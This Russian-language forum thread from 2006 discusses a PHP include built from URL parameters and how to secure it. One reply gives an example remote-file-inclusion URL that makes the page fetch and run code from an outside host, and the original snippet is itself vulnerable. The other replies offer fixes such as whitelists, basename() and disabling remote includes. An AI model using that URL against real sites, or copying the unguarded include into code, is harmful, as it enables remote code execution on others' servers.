С нами с 06.03.05
Сообщения: 6216
Рейтинг: 7375
|
Добавлено: 02/10/06 в 23:55 |
Блин сча зашел на один сайт перестала работать конструкция
include"$cat/$page"; , т.е. при загрузке урла mod.php?cat=folder&page=test.htm поидее в файл mod.php должен вставляться файл folder/test.htm
или в php5 другой синтаксис?
нид хелп, с меня рейтинг
|
|
|
|
С нами с 07.06.00
Сообщения: 3516
Рейтинг: 1802
|
Добавлено: 03/10/06 в 00:22 |
|
|
|
|
С нами с 06.03.05
Сообщения: 6216
Рейтинг: 7375
|
Добавлено: 03/10/06 в 00:36 |
сенкс sAx , ты прав был, оценил по максимуму
|
|
|
|
С нами с 07.06.00
Сообщения: 3516
Рейтинг: 1802
|
Добавлено: 03/10/06 в 00:54 |
ну вот и решилось
только не надо включать РегистрГлобалс -- это потенциальная уязвимость. Лучше поставить перед твоим инклудом:
Код: | $cat = $_GET['cat'];
$page = $_GET['page'];
или
$cat = $_REQUEST['cat'];
$page = $_REQUEST['page']; |
|
|
|
|
www.phpdevs.com
С нами с 24.10.02
Сообщения: 16633
Рейтинг: 16105
|
Добавлено: 03/10/06 в 01:04 |
Skat писал: | Блин сча зашел на один сайт перестала работать конструкция
include"$cat/$page"; , т.е. при загрузке урла mod.php?cat=folder&page=test.htm поидее в файл mod.php должен вставляться файл folder/test.htm
или в php5 другой синтаксис?
нид хелп, с меня рейтинг |
mod.php?cat=http://www.my-site.com&page=my-code.txt
заставит выполнить твою страницу любой код
|
|
Пишу на php/mysql/django за вменяемые деньги.
Обращаться в личку.
|
5
|
|
|
С нами с 01.03.06
Сообщения: 629
Рейтинг: 620
|
Добавлено: 03/10/06 в 01:08 |
Skat писал: | конструкция include"$cat/$page";
урл mod.php?cat=folder&page=test.htm поидее в файл mod.php должен вставляться файл folder/test.htm |
на самом деле - приведенный вами код еще большая уязвимость системы чем RegisterGlobals... если трудно догадаться почему - давай урл домена а здешние умельцы влет покажут ) да так что домен свой потом не узнаешь ))
Оффтопик: ну вот опять не успел, пока покурил - так уже все карты и открыли )
|
|
|
|
С нами с 07.06.00
Сообщения: 3516
Рейтинг: 1802
|
Добавлено: 03/10/06 в 01:14 |
Stek писал: | mod.php?cat=http://www.my-site.com&page=my-code.txt
заставит выполнить твою страницу любой код |
Блин... а слона-то я и не подметил
Вот что значит голова занята другими вопросами...
|
|
|
|
С нами с 06.03.05
Сообщения: 6216
Рейтинг: 7375
|
Добавлено: 03/10/06 в 01:34 |
так какой тогда лучше вариант оставить, что предложмл sAx или что раньше был?
|
|
|
|
С нами с 01.03.06
Сообщения: 629
Рейтинг: 620
|
Добавлено: 03/10/06 в 01:39 |
sAx писал: | Блин... а слона-то я и не подметил
Вот что значит голова занята другими вопросами... |
иногда полезнее заниматься другими вопросами ;)
Skat писал: |
так какой тогда лучше вариант оставить, что предложмл sAx или что раньше был? |
то что предложил sAx + обработка входных параметров на правильность (хотябы просто натрави по регулярному выражению на каждый из параметров). а вообще поменять механизму сего опасного инклюда...
|
|
|
|
С нами с 06.03.03
Сообщения: 1650
Рейтинг: 1096
|
Добавлено: 03/10/06 в 12:07 |
кстати вообще не рекомедуется передавать всякие имена файлов и каталогов через входящие параметры. если набор файлов ограничен, то лучше каждому присвоить номер, и делать
switch($file)
{
case 1: $file = 'file.php'; break;
...
}
либо создать массив всех возможных имен файлов:
$files = array('file.php','file2.php');
if(!in_array($file,$files)) exit('Hacker!');
ну а если уж по ситуации нельзя ни то ни другое - то обязательно надо регулярками. хотя я и сам проверяю такие вещи регулярками, но в офф мане php рекомендуется такие вещи прогонять через basename(). т.е. $file = basename(@$_REQUEST['file']); Это не позволить в имени файла передать какой либо путь, будь то урл, любое количество ../, а также абсолютные пути.
|
|
|
|
С нами с 19.09.03
Сообщения: 1988
Рейтинг: 1247
|
Добавлено: 03/10/06 в 14:33 |
Есть такие настройки у пхп, как запрещение удаленных инклюдов, так что как вариант отключить их (что большинство хостеров делают, особенно на вируалах).
|
|
|
|
С нами с 01.03.06
Сообщения: 629
Рейтинг: 620
|
Добавлено: 03/10/06 в 15:21 |
Wahoven писал: |
Есть такие настройки у пхп, как запрещение удаленных инклюдов, так что как вариант отключить их (что большинство хостеров делают, особенно на вируалах). |
но даже в этом случае ничто не мешает при наличии upload-а запустить свой скрипт с тогоже хоста
|
|
|
|
С нами с 19.09.03
Сообщения: 1988
Рейтинг: 1247
|
Добавлено: 03/10/06 в 15:31 |
Да, нужно учитывать все ньюансы, но ведь инфа лишней не бывает.
|
|
|
|
С нами с 06.03.05
Сообщения: 6216
Рейтинг: 7375
|
Добавлено: 05/10/06 в 01:37 |
Wahoven писал: | Есть такие настройки у пхп, как запрещение удаленных инклюдов |
а точное название опции не знаешь?
|
|
|
|
С нами с 19.09.03
Сообщения: 1988
Рейтинг: 1247
|
Добавлено: 05/10/06 в 01:47 |
Нет, около полугода назад столкнулся с такими ошибками при инклюде external файлов, как-то решал не трогая конфиги.
|
|
|
|
С нами с 19.11.03
Сообщения: 3973
Рейтинг: 2362
|
Добавлено: 05/10/06 в 09:34 |
Skat писал: | а точное название опции не знаешь? |
allow_url_fopen
|
|
|
|
С нами с 01.03.06
Сообщения: 629
Рейтинг: 620
|
Добавлено: 05/10/06 в 12:57 |
xreload писал: |
allow_url_fopen |
угу и товарища могут перестать работать своиже скрипты ))
могу и ошибаться, но скорее нужно смотреть группу параметров
safe_mode_*
|
|
|
|
c++,php кодинг
С нами с 22.10.05
Сообщения: 1098
Рейтинг: 558
|
Добавлено: 05/10/06 в 13:31 |
можно еще извратиться и делать проверку через хеш.
т.е. ссылки будут вида cat=..&file=..&hash=..
проверять таким образом
if($hash!=md5($cat.$file.$secret_word))
exit;
else include..
соответственно при выводе ссылок требуется считать их хеш.
|
|
|
|